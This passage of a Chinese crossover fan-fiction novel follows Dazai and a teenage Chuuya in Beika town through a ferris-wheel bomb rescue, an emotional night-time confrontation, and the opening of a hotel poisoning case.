要是中原中也一个人还能从这里“突围”出去,带了太宰治他们就只有被挤成肉饼的份了。
中原中也面如死灰地狠狠戳了太宰治几下,很快手指被太宰治包裹起来。
手指直接触碰到温热的掌心。
中原中也手指微微蜷缩了一下,旋即发觉另一种折腾太宰治的方式。
太宰治第一眼就认出来中原中也,十七岁的中原中也。
他的眸子里透出细碎的光。
钟塔侍从的资料里对米花町的描述只有一句模糊不清的话:
这是一个扭曲的地方,一个停滞的地方,这里是因果与时空的交汇点。
这里不存于现世。
除此之外,再没有半个字有关于米花町的描述。
这里是“人造神明”的起点。
这里是另一个世界。
太宰治的掌心忽然传来一阵痒意,是中原中也的手指为弯曲抠折时带来的,太宰治下意识攥紧了手指。
中原中也的动作更加明目张胆,可能是觉得自己终于发现太宰治的弱点,手指使劲往太宰治的掌心钻。
“中也,”太宰治收回思绪,转头笑眯眯看向面青涩的中原中也,语调黏糊带着点不轻不重的凉意,“你再乱动,我就刷爆你的卡,把你的酒兑水。”
中原中也瞪了一眼太宰治:“要你管!”
太宰治没说话,手上换了个动作,勾缠着中也的手指,强势地分开中也的手指,与他十指相扣掌心相贴。
心跳顺着掌心传到中原中也身上,带起一片酥麻。
中原中也感觉有些脸热。
这绝对是太宰治新找到对付他的方法,绝对不能输!
想到这,中原中也脸上的热意消退,取而代之的是一股战意。
太宰治感觉到中也的手扣得更紧了,他挑眉。
中也是想到什么了?绝对不是因为开窍了。
中原中也被突然放到他肩上的脑袋吓了一跳,只不过这份惊吓很快变成了羡慕。
好高,绝对有一米八了吧?不知道未来他也会有这么高吗?
“中也是在想未来会不会跟我一样高吗?”太宰治的手环着中原中也的腰,嘴唇贴着中也的耳朵,热气扑在上面,带起一阵红晕,“中也没有长高哦。”
中原中也的耳朵瞬间降温,偏生罪魁祸首还趴在他肩膀上笑。
“闭嘴。”中原中也捏住太宰治的嘴巴。
“唔唔(我不),”太宰治也没生气,就这么继续说话,“众业宿中码来到多离朵(中也是这么来到这里的)?”
偏偏中原中也还听懂了。
中原中也是突然来到这里的。
他当时正在出差,第二天要正式与当地的势力进行谈判,中原中也刚推开酒店的门准备好好睡一觉,就到了一个摩天轮车厢里面,他刚准备退回去,门已经消失了。
里面只有一个卷发黑色西装男人头也没抬。
他在拆弹。
中原中也揉揉眉心,眼下带了些青黑,神情疲倦。
那个任务本来不归他管,原先主管的人被暗杀后落到他身上。
中原中也怀疑这是一场针对港口Mafia的阴谋,不然无法解释这接连两次的差错。
“喂——”中原中也出声,当务之急还是问清楚现在他在哪里,他谨慎地没有靠近,而是隔出来一段距离。
卷发男人名叫松田阵平,他是一名拆弹警,警视厅接到炸弹犯预告传真时他正好在现场,成为第一个到达现场的警察。上来后,炸弹拆得很顺利,他完全可以在炸弹爆炸前将炸弹拆除。
然后,车厢闹鬼了。
这里多了一个人。
松田阵平是不信世界上有鬼的,但他分明记得车厢里只有他一个人,声音是从哪传出来的?炸弹?
他的手顿了顿,回头看了一眼。
是一个橘发少年,少年穿着合身的黑色西装,脖子上带着choker,看着只有国中生的年纪。
“真见鬼了?”松田阵平没忍住喃喃了一句。
中原中也嘴角抽了抽:“我想问一下这是哪里?”
松田阵平没接话,而是一手从口袋里掏出手机,拨了电话出去,用脑袋夹着手机,继续拆弹:“喂?目暮警官,摩天轮上还有一个无辜民众,对,他和我在一起,要想办法将他送下去。小鬼,你哪个学校的?”
不知道电话那头问了什么,松田阵平抬头看向中原中也。
“我已经工作了。”中原中也顿了顿。
根据卷发男人的举动,不难看出来这是一位警察,还是一位拆弹警。
蓝眸氤氲着困惑,那个将他传送到这里的异能者是觉得炸弹能对他造成威胁还是眼前这个警察?或者是随机传送?
“啊,”松田阵平没说信还是不信,他手上动作不停,“放心,我会将你安全带下去的。”
卷发警官的脸上毫无表情,眼神专注地看着炸弹,平时被吐槽像是□□的脸带着令人安心的沉着,他的手顿了顿,没有继续拆弹,而是拿出手机开始发简讯。
中原中也看了看摩天轮车厢的外壳,他本应该将这扇门破坏掉直接从这里离开。
但他没有。
回去要会被太宰笑死的吧。
中原中也皱着脸,开始琢磨该怎么骂回去。
他找了个不会干扰松田阵平的角落坐了下来,从车厢处的玻璃往外望去,高处的风景他见过很多,不过多是借助异能,这还是他第一次坐摩天轮。
中原中也的视线落点被一个灰色的人影吸引过去,隔了这么远,他没看清那个人影是谁,只不过给他一种极为熟悉的感觉,看到他就有点牙痒痒。
他只会对一个人产生这种感觉。
——太宰治。
他怎么在这?
中原中也趴到窗口处,还想看得更清楚一些。
“小鬼,”这时松田阵平喊了一声,“我把这扇门撬开,接下来会有云梯消防车过来,但是云梯高度不够,我会把你吊到低位
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,接下来会有人来救你。”
“你怎么办?”中原中也敏锐地反应过来,这个计划中根本没有松田阵平,“炸弹要爆炸了?”
“对,”松田阵平避开前面一个问题,这不该是孩子该考虑的事情,“一会你不要乱动。”
中原中也瞥了一眼炸弹,随即了然:“使用紧急解锁装置时产生的震动很有可能启动炸弹的水银泵,到时候我们都会死在这里。”
松田阵平咬着烟头,没有点,话语有些含糊不清:“别想那么多,你还有很好的未来。”
中原中也叹了口气,他总是拿这种人没办法。
“我陪你一起等,云梯调过来应该还要一段时间。”
这句话不知道戳到松田阵平哪个笑点了,他笑得浑身震颤起来:“我认识一个金发混蛋,说话也是你这个调调。”
一样的嘴硬心软。
中原中也的手有点痒。
等待的时间并不难熬,他们在聊天。
“你是鬼吗?”松田阵平开口发问,他刚才就很好奇了,只是之前时间紧迫没有多问。
“不是。”中原中也面无表情。
松田阵平还想问点什么,被中原中也强制镇压。
“闭嘴。”
“叮铃铃——”
松田阵平身上的电话响了。
“松田,已经找到第二个炸弹了。”
中原中也注意到松田阵平的手在微微颤抖着,他脸上还是沉静如水:“好。”
他挂了电话,呼吸微微急促着,脸上不可抑制地挂上了笑意,但很快被压了下去。
能活着谁会想死呢?
松田阵平回到拆弹的地方继续拆弹。
但中原中也的脑中的危险雷达迅速鸣响起来,他几乎没有思考,迅速拉过松田阵平,红光浮现。
车厢门在重力的作用下扭曲,随后他们一跃而下。
爆炸声响起。
放下松田阵平后,中原中也就往方才看见太宰治的方向飞去。
他算好了落点,正好在太宰治面前。
不过,世事无常。
他被拉进了太宰治怀里。
想到这里,中原中也给了太宰治一锤附加一个瞪视。
都怪你!
“可是是我解决的炸弹犯哦。”太宰治终于不说自己是炸弹犯同伙了。
“炸弹还是爆炸了。”中原中也眼角带了点笑,像是在跟太宰治的比赛中终于扳回一城。
太宰治脸上还是笑意吟吟,语气轻缓:“下次不会了。”
中原中也迟疑了一瞬,抬手拍了太宰治一下:“吃蘑菇了?你又不知道我在上面。”
“再说了,你不会觉得那种程度可以伤到我吧?”中原中也几乎是用一种“关爱智障”的眼神看着太宰治,随即冷厉起来,“你是不是又套路我?还是你准备在我安慰你的时候录音?”
“中也就是个木头!”太宰治震怒。
放在风衣口袋的手按住了录音笔的结束键。
哎呀,被发现了呢。
14. 第 14 章
最后还是警方出面将他们二人从混乱的人群中拯救出来。
“咳咳,那个,太宰君啊,”目暮警官有些不好意思,“抱歉啊,误会你了。”
“没关系。”太宰治风轻云淡。
他们都没提太宰治咬死自己就是炸弹犯,差点造成冤假错案的事实。
目暮警官琢磨着。
可能这就是人家的怪癖?
“还有中原君,也是年少有为啊。”目暮警官继续夸赞着。
太宰治一幅与有荣焉,他笑着点头:“是我家小狗哦。”
目暮警官沉默了一瞬,目光不可控制地落在中原中也身上,发现中原中也毫无反应。
他干笑着。
可能是他们独特的相处模式?
目暮警官觉得可能是自己和他们有了代沟,中原中也和太宰治的笔录都已经做完了,再加上他还需要给炸弹案收个尾,他没再继续接待太宰治和中原中也。
“一会儿会有其他人过来,如果有需要可以尽情麻烦他们。”目暮警官离开前是这么说的,“他们会很乐意的。”
太宰治一一应下,举手抬足间都带着成熟人士的体面得体。
中原中也就没想那么多了,他只有一个想法:
好装。
他捧着路过警官小姐给的咖啡,默默腹诽。
“中也,”太宰治好像听到了中原中也的吐槽,适时转过身来,笑睨了他一眼,“那个你救下来的警官先生想过来表达一下感谢。”
“啊,”中原中也愣了愣,“不用了吧?”
说话间,一个半长发的男人已经压着卷发警官走了进来。
“真的多谢你们了。”半长发男人有一张极易让人产生好感的脸,而他身边跟着亦步亦趋的卷发警官时则带了一点老妈子的感觉,“要不是你们小阵平就危险了。”
中原中也没忍住看了一眼卷发警官,他没想到松田阵平这张脸会用上这么可爱的后缀。
坦诚地说,松田阵平这张脸是俊美的,但他的棱角太过锋利,眼神扫过来时很容易就会忽略掉他其实是一位警察而不是什么黑涩会。
真正的·黑手/党·端庄甜美娃娃脸·中原中也羡慕了看了一眼松田阵平和萩原研二。
好高。
“警官先生也照顾了我很多。”中原中也礼貌道。
他们相互客套的时候太宰治没有参与他们之间的对话,但萩原研二显然不是一个会忽略他的人,他主动抛出话题:“太宰君和中原君看起来关系很好呢。”
“哈?”
“哈?”
二人皆是一种不可思议的表情,脸上是如出一辙的嫌弃。
“谁会和这条青花鱼关系好啊?”中原中也瞪圆了眼睛。
“谁要跟小狗狗关系好啊?”而太宰治的反应则更为激烈,他举起双手,像是要远离中原中也,可是自己跟中原中也十指相扣的手却没有松开。
萩原研二有一瞬间陷入了沉默。
居然两个都是傲娇的性格吗?
他笑着解释道:“我是搜查一课的警察,因为需要破案所以会特别关注细节,你们之间的一些小习惯很像。”
“是这样啊,”太宰治一只手托着下巴,另一只手牵着中原中也,他欢快地说,“那是没办法的事情嘛,狗狗就是会染上主人的一些习惯。”
“谁是你的狗啊?”中原中也愤怒,但手还在太宰治手中。
啊嗯,完全就口不对心的典型嘛,可能这就是他们的相处模式。
萩原研二若有所思:“说起来,中原君多大了?听小阵平说已经工作了,看起来完全不像呢。”
中原中也陷入了可疑的沉默。
接话的是太宰治:“中也今年才17哦。”
此话一出,在场众人猛地转过头来看着中原中也,而中原中也则用一种惊诧的目光看着太宰治。
他们还没有正式交换过情报,太宰治这家伙是这么看出来的?
太宰治不避不让,直直地回看过去,好像在嘲笑中原中也的大惊小怪。
“主人知道狗狗多大不是很正常的事情吗?”
中原中也皱了皱眉,想要说些什么。
萩原研二就不动声色将他们隔开了:“那中也酱,我可以这么叫吗?”
这种称呼听起来有点不太妙啊。
中原中也点点头,他不是很在乎称呼,他的视线离开太宰治转向萩原研二:“可以。”
“小中也现在在哪里工作呢?”萩原研二的目光担忧地扫过中原中也脖子上的choker,联系到太宰治这一路上的话,他很担心小中也是不是被人诱哄了。
还是未成年的孩子。
“额。”中原中也冷汗要下来了,他总不能跟眼前的警官先生说自己是黑/手党吧?
“中也现在是我的助手哦,在为我工作啦。”太宰治环住中原中也,头压在中原中也的帽子上,他歪着头朝萩原研二笑。
这是一种极具掌控欲的动作。
中原中也对太宰治这个动作毫无反应,好像已经发生过太多次,以至于他完全对这个动作没感觉了。
不会觉得危险,也不会对发起这个动作的人产生什么激烈情绪。
中原中也很自然地点点头:“对。”
萩原研二和松田阵平脸上的表情都严肃起来。
这真的没有问题吗?
这对幼驯染默契地对视一眼,随后一个跟中原中也搭话转移中原中也的注意力,一个试图将太宰治引到远离中原中也的位置。
“你那个滑翔翼是什么材质做出来的,很小巧方便,说不定可以和我们爆炸班合作。”松田阵平想了想开口问道。
他很馋中原中也那套滑翔翼,要是能够普及到爆炸班,能减少不少伤亡。
“滑翔翼?”中原中也怔了怔,他重复了一遍,“我的滑翔翼?”
松田阵平点头:“是有什么问题吗?”
“不,没有。”中原中也唇色白了一点,神色依旧镇定,“那个滑翔翼可能不太行,造价会很贵,不适合普及使用。”
松田阵平也没有失落,他是机械方面的专家,对这种情况也有所预料:“好。”
“在摩天轮上你吓了我一跳。”中原中也状似无意地抱怨了一句。
松田阵平轻嗤:“你把我吓了一跳才对,突然出现在那,座位底下那么小的地方也不知道你是怎么钻进去的。”
中原中也强打精神:“我事先也不知道会发生那么大的事情啊。”
“小屁孩。
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”松田阵平抬手想压中原中也的头,“害怕就说出来,我又不会笑你。”
中原中也打开松田阵平的手,认真看着他:“不要碰我的头,会长不高的。”
松田阵平本来就有点手贱,听中原中也这么说愈发兴致勃勃。
这边两人在相互折腾,另外二人之间的氛围就冷淡多了。
“太宰君,可以问一下你和小中也是怎么认识的吗?”萩原研二像是唠家常一样开口问道。
虽然这个人看起来温和有礼,还抓住了炸弹犯,但出于一种直觉,萩原研二还是对他始终秉持着一种谨慎的态度。
“我和中也认识的时候,中也被一群人绑架了,”太宰治好像陷入久远的回忆之中,脸上挂上了甜蜜的笑容,只是眼神紧紧跟随着不远处的中原中也,“他们逼迫中也做一些中也完全不想做的事情。”
“中也为了拯救自己,他向我求助,答应做我一辈子的狗狗。”
这里本就不是很大,太宰治的话轻易地传到中原中也的耳中。
“太宰,你在说什么鬼话啊!”中原中也忍着脸上的羞耻,一拳锤到太宰治身上。
完全的颠倒黑白。
“那中也说,我有什么地方说错了吗?”太宰治一脸不服气。
中原中也哑然的发现太宰治除了带上了强烈的个人情绪,其他方面还真没有扭曲事实。
他头疼地压低了帽檐:“谁答应了要做你一辈子的狗啊!”
“是中也酱啊。”太宰治黏黏糊糊的。
中原中也脸上的表情就好像吃到了什么恶心人的东西一样,想吐吐不出来。
“滚啊。”
这时候的相处模式又正常起来了,看起来只是普通的口嗨打闹。
萩原研二迟疑,之前是他的错觉吗?
松田阵平的手搭上萩原研二的肩膀:“怀疑就多关注一些,那可是我的救命恩人,我们经常去找他不是很正常的事情吗?”
萩原研二点头。
事情处理完后,时间已经不早了。
时间太晚他们还没有住的地方,萩原研二和松田阵平都住在警察宿舍,没有空余的地方。
因此萩原研二建议他们先去住酒店,既方便又不会因为时间太赶而定下不合适的住处。
好在中原中也和太宰治的银行卡都还能用。
中原中也不是委屈自己的人,果断地订了米花町最高档酒店的顶层,至于太宰治,他本人则毫不犹豫地跟着中原中也住在一起。
美其名曰:主人的钱是要留着给狗狗买食物的!
安顿好之后,中原中也第一时间将太宰治压在墙上,一只手将太宰治的手紧紧握住,另一只手则捏着太宰治的下巴强制太宰治直视他。
太宰治很是意外,但他没有反抗,他堪称顺从地被中原中也压制着。
“中也是终于要对我伸出恶魔之手了吗?”太宰治眨着眼睛,脸上浮现出一抹娇羞。
“我是死了吗?”中原中也盯着太宰治。
太宰治脸上神色平静,只有瞳孔微微颤抖,他下意识就要拂开中原中也的手:“中也,你掐得我的手好痛。”
莫名其妙的道歉,过剩的掌控欲和保护欲。
他远比太宰治以为的要了解他。
15. 第 15 章
“中也为什么不能当做什么都不知道呢?”太宰治叹了一口气,面带无奈,好像在服软,偏偏眼角带了点点笑意。
中原中也挡下太宰治突如其来的踹膝,手上的力量才微微松懈一瞬,就被太宰治抓住这份空隙抬手横劈过来。
22岁的太宰治到底比17岁的中原中也要年长5岁。
他弯了弯眸子:“为了能够完全地发挥中也的力量我可是将中也里外都研究透了。”
中原中也下意识避开这一击,随后反应过来,猛地迎上去,此时的太宰治却已经跳开了,与中原中也拉开了距离。
两人同时从口袋中拔出手枪,毫不犹豫对准着对面人的心脏,同时开枪。
中原中也不避不让,子弹对他而言是毫无用处的,反而太宰治需要躲开这一枪,错失先机。
中原中也是顶级的体术大师,虽然现在的他还未完全成熟,依旧不是身为脑力派的太宰治可比的。
这场战斗结束得毫无悬念。
中原中也是胜利者,他一脚踢开太宰治手中的枪,拽着太宰治的衣领,蓝眸中不是恼怒而是困惑,甚至带了些悲悯。
悲悯,哈。
太宰治注视着这双美丽的眸子,鸢色眼睛死死地盯着中原中也,他抬手摸上中原中也的脸,中原中也没有躲开。
多好笑啊,为什么不可怜可怜我呢?中也。
“发生了什么?”中原中也用那双动人的、悲悯的、好像可以解决一切的眸子看着他。
太宰治笑起来,那层他好不容易披上的、符合中也喜好的皮破开一个口子,里面没有一点会让中也觉得美好的东西,没有温柔没有高雅,有的只是黑漆漆的浑浊的要烂掉的太宰治。
他轻声道,声音温柔得下一秒就要被风吹散了:
“我不知道,中也,我什么都不知道。”
“中也,你知道吗?我什么都不知道。”
我回来的时候,你已经死了,我只能参加你的葬礼,我甚至连你的尸体都没有看到。
中也,我什么都不知道。
太宰治看着中原中也瞳中映出的自己,狼狈又好笑。
他是这么想的,也是这么说的。
太宰治近乎骄傲地看着被他的话刺痛的中原中也,他低低地笑起来:“中也啊,杀了我吧。”
太宰治将藏在风衣口袋内侧的匕首递到中原中也手上,露出自己脆弱的脖颈,像是等待猎人审判的白雪公主。
中也,是你先抛下我的,你要承担一个已经疯了的太宰治啊。
杀了我吧,杀了我吧,只要杀了我就好了。
他诱惑着猎人:“只要杀了我,一切就会结束的。”
“你会回到正轨,离开这里,回到你的世界,再也没有脱轨的可能。”
杀了我吧,让我死在你手里。
中原中也握紧刀柄,他举起刀向太宰治劈去。
太宰治闭上眼,像是在享受着死亡来临前的极乐与煎熬。
他求而不得的死亡要光临他了吗?
太宰治脸上露出一抹满足的笑容。
凌厉的动作带起一阵破空声,刀锋划过他的脸颊。
啊,小矮子是要先毁了他的脸吗?好残忍的小矮子。
刀刃钉入木板,好像什么都没在他身上留下。
太宰治摸了摸脸上被刀划出来的血痕,还是留下了点东西的。
“混蛋太宰,你给我听好了,”中原中也抿紧了唇,他拎起太宰治,一字一句,“如果你不想活了,那就在准备去死前去给我报仇吧,搭档。”
尚且青涩的重力使有一双极为耀眼的眸子,那双眸子已经见证过了无数死亡。
兰波的、旗会众人的、警官先生,这还是他第一次直面自己的死亡。
中原中也的手在微微颤抖,是恐惧吗?
算不上。
他的眼睛直视着太宰治,太宰治好像能从那双眼睛里看到他的心,坚定不可动摇。
一往直前,就好像没有什么能够绊住他的脚步。
死亡也是如此。
黑沉的眸子好像被什么东西点亮了,鸢色的瞳孔中映着点点蓝色。
“太宰,去给我报仇。”青涩的橘发少年认真地看
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着太宰治,“不管是谁,杀了他。”
“谁都可以吗?”太宰治脸上的表情似哭似笑。
“对,谁都可以。”中原中也肯定。
“首领也没关系吗?”太宰治问他,尾音上扬好像说笑一样。
“没关系。”中原中也看着太宰治眸中潜藏的认真,他捧着太宰治的脸,轻声道。
“首相也没关系吗?”太宰治不依不饶。
“首相关我什么事?”中原中也吐槽。
“毁灭世界呢?”太宰治声音已经轻得不可思议。
“……”中原中也无言,抬手捂住太宰治的眼睛。
“中也~”突然陷入黑暗的太宰治没有半点应激反应,反而拉着中原中也的手指把玩着。
“我已经死了。”中原中也翻了个白眼。
太宰治和中原中也此时的阵地已经转移到了酒店的沙发上,中原中也任由太宰治躺在他的腿上,手上生疏地撩起太宰治的头发。
他们之间其实很少有这种堪称温情的氛围,大多数时候是针锋相对的,在外面能够独挡一面的重力使和港口Mafia最年轻干部只要见到对方就像是火药桶对炸,对方就是那根点燃火药桶的火柴。
中原中也从没想过他与太宰治居然还能有现在这样没有骂战互怼打架的时候,就这么安静地享受同一片宁静。
太宰治脸上的笑容越发炫目,他微微垂着头任由碎发盖住眼睛:“中也最讨厌了。”
他顿了顿,坐起身抬手拥住少年,下巴搭在中原中也肩膀上,黑发柔软,蹭到中原中也脖颈处也只是带了些痒意,就像太宰治一样,就算看不到也会感受到他的存在。
他凑到中原中也耳畔:“我最喜欢这样的中也了。”
中原中也猛地就要推开太宰治,但他还没有动作,就感觉到颈后一点刺痛。
你大爷!
同时,中原中也感到一种强烈的安心。
这才是正常的太宰治吧。
他陷入昏迷前的最后印象是太宰治的垂眸,他说:
“中也,睡一觉吧,太心软是会吃亏的。”
16. 第 16 章
阳光想要撒落进酒店房间内,可惜被厚实的窗帘挡住,只有一点没有遮掩好的光斑照在床上少年的脸上。
中原中也难得睡得这么好。
他很忙,经常只有碎片化的睡眠时间,尤其是这段时间各种事情堆在一起,他已经很久没有长时间的睡眠了。
黑手党对于睡眠环境的要求极高,如非完全信任的环境很难陷入深度睡眠,时常会半夜惊醒。
只是不知道是因为中原中也对太宰治的极度信任还是昨天晚上太宰治的那一针。
光斑照到他脸上时,中原中也被晃了晃眼睛,他下意识翻身,将脸往被子里埋。
中原中也的额头没有触碰到柔软的枕头,而是另外的触感。
他还闭着眼,抬手随便在物体上揉了两把。
什么东西?手感有点奇怪。
中原中也没摸出来,可能是过于安逸的环境,又或许是难得的长觉,中原中也并没有对东西的存在进行深想。
他准备将那东西调整一下位置让它更适合被枕住。
一双手突然搂住他的腰,将他往上抬了抬,黑色的脑袋正好压在中原中也头顶,将中原中也圈住,声音还有些沙哑:“睡够了?”
中原中也僵住了,原本还不甚清醒的脑子瞬间惊醒,抬腿就踹。
下一秒,太宰治被踹下去了。
是太宰治啊。
中原中也放下心来。
他冷笑一声:“你居然没跑?”
太宰治被突然踹下来也没有生气,或者说他早有预料。
他嘟囔着:“小狗睡醒见不到主人的话是会伤心的。”
太宰治等了等,掀起眼帘,看向中原中也,他用一种甜蜜蜜的语气说:“还以为中也会感动到哭出来,冲过来跟主人许下一辈子的承诺呢。”
“哈?”中原中也脸上的冷笑意味更重,抄起身边的枕头就往太宰治脸上砸,“我巴不得看不见你。”
“中也怎么可以这么无情?”太宰治捂着脸“痛哭”起来,悲痛控诉,“明明昨天晚上……”
中原中也这时候可没有惯着太宰治的想法了,他轻嗤:“继续哭。”
太宰治吚吚呜呜地继续啜泣着,脸埋在手心里,光打雷不下雨,吵得人心烦。
另一个枕头砸了过来,太宰治安静了。
中原中也一想到自己昨天晚上居然真的信了太宰治的鬼话,还被太宰治阴了就气不打一处来。
中原中也走下床,纯白的睡衣松垮地挂在身上,他居高临下俯视着太宰治。
“太宰,你想干什么?”
窗帘将房间遮得严实,除了那点光斑,整个房间是昏暗的,只有中原中也算是房间内唯一的一点亮色。
太宰治怀里抱着枕头,躺在地上,仰视着中原中也,鸢眸里带着笑意,嗓音黏腻:“中也,我说过了呀,好好睡一觉吧。睡醒了,一切都会好起来的。”
分明处在低位,分明仰视着中原中也,半点不落下风,甚至眼前人所有的情绪都被他掌控着。
这种感觉几乎令他发狂。
掌控中原中也。
太宰治压下内心的翻涌,他脸上笑得灿烂。
中原中也看着太宰治,他厌恶这种感觉。
好像混蛋太宰在不知道什么时候将他推开了,而他什么都不知道。
中原中也烦躁地偏头啧了一声,他踩在太宰治胸口处,脚下微微发力:“我不知道你想做什么,不过太宰,你要是死了,我就换新搭档。”
中原中也显然知道什么样的恐吓对太宰治更有用,也只有十七岁的中也会这么做了。
太宰治脸上阴沉下来,手上抓握着中也的脚踝:“中也真是喜新厌旧,不过中也永远不会有这一天的。”
“中也是我一辈子的小狗嘛。”
太宰治带了点咬牙切齿,手指用力到指尖发白。
没有任何印记,连红痕都没有。
“滚啊!”中原中也猛地收回脚。
青花鱼是从哪学来这恶心人的法子?
“中也,”太宰治收回手,“你想知道这是哪里吗?”
太宰治不等中原中也回应,自顾自地说了起来。
这是一个没有异能者的世界,没有战争。
安宁和平。
警察还算负责,有什么事找警察就行。
不需要你来成为庇护者。
这句话太宰治没说出来。
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>就是侦探多了点,从酒店丢块砖砸中十个人,八个是侦探,剩下两个在成为侦探的路上。
中也,和黑手党比起来……
中原中也走神了。
“中也,你在想什么?”太宰治用手在中原中也眼前晃了晃。
“太宰。”中原中也遮住太宰治的眼睛,“你是为什么来这里?我是出差的时候偶然到这的。”
他打断了太宰治的话,同时他拒绝看着太宰治的眼睛,他允许撒谎。
太宰治却避开了中原中也的问题。
“楼下死人了哦,中也。”太宰治神态自若地坐起,他没有拿开中原中也的手,任由他遮住视线,“是毒杀哦。”
这时,门口传来敲门声,是一位年轻男士的声音通过门上的传呼铃传了进来:
“您好,楼下发生命案了,请出来配合调查。”
中原中也站起身来就要去开门。
方才他和太宰治懒得重新挪地方了,直接在地毯上坐了下来。
他和太宰治坐得很近,太宰治拉住了想要拉住中原中也再方便不过。
“中也难道要穿这身衣服去开门吗?”太宰治瞪大眼睛,一脸不可思议。
中原中也低头看了看,没发现什么问题,他也这么问了:“有什么问题?”
“没有。”太宰治不敢说话。
这是他买的。
中原中也抱胸低头欣赏着太宰治憋屈的脸,心情大好。
“真是太可惜了,没有相机把你现在的表情记录下来。”
太宰治本应该控诉中原中也的,但他没有,他看着中原中也。
“中也,你喜欢这里吗?”
“你在说什么鬼话啊?真不知道我是怎么忍你这么久的。”中原中也翻了个白眼,没当真,也可能是不能当真,“你是想要叛逃吗?要是你叛逃的话。”
“我会杀了你的。”
中原中也诚恳建议:“喂,太宰,你要不去医院看看吧?不然你怎么会问出这么白痴的问题?去开门,我去换衣服。”
说着中原中也白了太宰治一眼。
太宰治脸上泛着笑,好像有些无奈,又好像很是冷静,紧紧咬住下唇,要咬出血了。
17. 第 17 章
门外等着的青年昨天他们见过,半长发,一边耳朵戴着耳钉,是萩原研二。
“又见面了。”青年脸上的笑容有些无奈。
昨天见面是因为爆炸案,今天是因为凶杀案。
“因为死者身份有些特殊,所以需要你们配合一下。”
因为昨天的事情,萩原研二并没有将话说得特别含糊。
“死者是一名鹰国人,处理不好的话会发生国际争端,不过你们的嫌疑不大,大概只要走个过场就好。”
“多谢。”太宰治点头。
二人说话间,中原中也已经换好衣服出来了。
他身上的衣服依旧是太宰治买的,黑色西装,黑色choker,黑色帽子。
“果然是黑漆漆的小矮人。”太宰治大声蛐蛐。
中原中也没理太宰治,他方才出来的时候听到萩原研二的话了,朝他略一点头,打了个招呼。
他们到楼下时,这件事的所有相关人员都已经来齐了。
松田阵平正在维持秩序,他是跟萩原研二一块来的。
他面前的金发女人正在神情激动。
金发女人是死者的妻子:“一定是那个小贱人干的!”
她指着一旁,捂着脸泣不成声的棕发女人,棕发女人适时抬起头,露出一张极为美艳的脸,眼眶红红的:“夫人,你怎么能这么说呢?我为什么要杀死老板?这对我有什么好处吗?”
棕发女人猛地想起什么,她站起身来,抓住金发女人的肩膀:“是你!对不对?因为老板想要跟你离婚,所以你才先下手为强,对不对?”
棕发女人是死者的秘书,据金发女人所说她还是死者的情人。
金发女人被棕发女人吓了一跳,一时间说不出话来。
一旁站着的黑色眼镜男人则神情慌乱:“怎,怎么可能会是夫人?夫人明明一直跟我待在一起。”
金发女人气焰嚣张起来:“我可是有不在场证明!”
棕发女人冷笑:“老板是中毒而死,我没记错的话,昨天只有夫人你碰了老板的食物吧?”
金发女人神情慌乱起来:“胡说!”
眼镜男语气开始迟疑:“我好像确实看见夫人在老板的饭菜里放了东西。”
他很快就补充道:“不过夫人说里面只是安眠药。”
金发女人愤怒地瞪了眼镜男一眼。
“哈。”棕发女人笑出声来,姿态嘲讽。
看着快要大打出手的两人,松田阵平揉了揉太阳穴。
萩原他到底什么时候下来?怎么用了这么久?还有目暮警官。
松田阵平和萩原研二今天本来是休息日,为了来找中也他们,特意起了个大早,没想到正好碰上凶杀案。
休息日还要加班,也是十分倒霉了。
好在这个时候,萩原研二他们人已经下来了。
因为嫌疑主要集中在已经快要打起来的三人身上,萩原研二在对他们进行简单问询后就直接去找那三人了。
“请冷静一下,现在我们要分开问询一下事发时你们所在的时间地点是否有不在场证明。”萩原研二手上拿着随身携带的记录本。
分开问询时,大概是出于私人恩怨,金发女人和棕发女人都在疯狂攻伐对方。
包括但不限于死者想要转移财产产生的财产纠纷和死者与金发女人迟迟不离婚产生的感情纠纷等等。
当然,她们没忘记顺便踩一脚眼镜男,尤其是棕发女子,出来后也没忘记他。
棕发女人冷笑一声:“我记得佐藤你和夫人是青梅竹马吧?老板抢了你的女朋友,又抢了你的专利技术开了这个集团,你真的不怨恨他吗?”
眼镜男脸上涨红了,半天说不出一句话,而另一位当事人就没什么反应了,甚至还有心情掏出口红补了一下妆。
显然三人的作案动机都十分充分。
“我知道了!”说话的是一直旁听的太宰治。
他一脸恍然大悟。
“你谁啊?”眼镜男厌恶地看了太宰治一眼,他对眼前的俊秀青年极为不满,这种不满诞生于人类一种极为常见的情绪:嫉妒。
太宰治愣了愣,他想了想:“我现在处于无业状态,是正在被包养的小白脸。”
“闭嘴。”中原中也踩了一脚太宰治。
他是跟太宰治一块来的,太宰治是小白脸,他是谁?
包养太宰治的人?还是和他一样被包养的?
太宰治默默倒吸一口凉气,维持着脸上的平静,隆重介绍:“这是我的金主。”
十七岁的中原中也明显还没修炼出这时候还能保持脸上平静的脸皮。
——他要炸了。
维持他理智的弦摇摇欲坠。
这
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里不是港口Mafia,还有这么多人。
他深呼吸。
好在太宰治也知道不能真把中也惹炸了,他转头祸害其他人去了。
对,就是那三个倒霉蛋。
太宰治笑眯眯插在三人中间,他十分郑重地指了指面前的三个人。
“在我眼前的这三位,他们都是犯人,这是一场团伙作案。”
松田阵平的手顿了顿秋园,萩原研二也一脸意外的看向太宰治,连同一旁的三人也都被震惊了。
金发女人和棕发女人同时发出嗤笑声:
“你的意思是我们三个都是同伙?”
连带着一直在和稀泥装好人的黑发眼镜男也没忍住反驳:“怎么可能?我根本就不会去杀社长啊!”
中原中也一脸无语,他冷漠:“怎么可能?”
中原中也并不知道案件的大概,他还没了解前情又对破案没什么兴趣,不过他足够了解太宰治。
混蛋太宰绝对不会这么好心的直接指出凶手。
所以凶手一定不是他们仨个人中的人。
“就是啊。”四人异口同声。
中间还夹着一个清越的少年音。
太宰治兴致勃勃的转头看过去,是一个比中也还要矮一些的小少年,看着只有十四五岁的样子。
穿着的是国中校服,看样子是附近的学生,校服胸口绣着“帝丹”二字。
少年名叫工藤新一,他的父亲是赫赫有名的大理小说作家工藤优作,他从小就热爱推理,并且希望成为一名侦探。
好在他同样很有天赋。
因此他在看到眼前的黑发男人这大错特错的推理时没忍住打断了他。
这分明是一场蓄谋已久的单人凶杀案。
凶手根本没有同伙!
工藤新一身边站着的女子是个极为出众的美人,就连时间也对她分外宽容,她摘下几乎遮住她半张脸的墨镜,露出底下那张几乎家喻户晓的脸。
“是有希子小姐!”有认识的人惊呼。
大厅里出现一阵阵吸气声,像是看到了什么令人惊讶的事情。
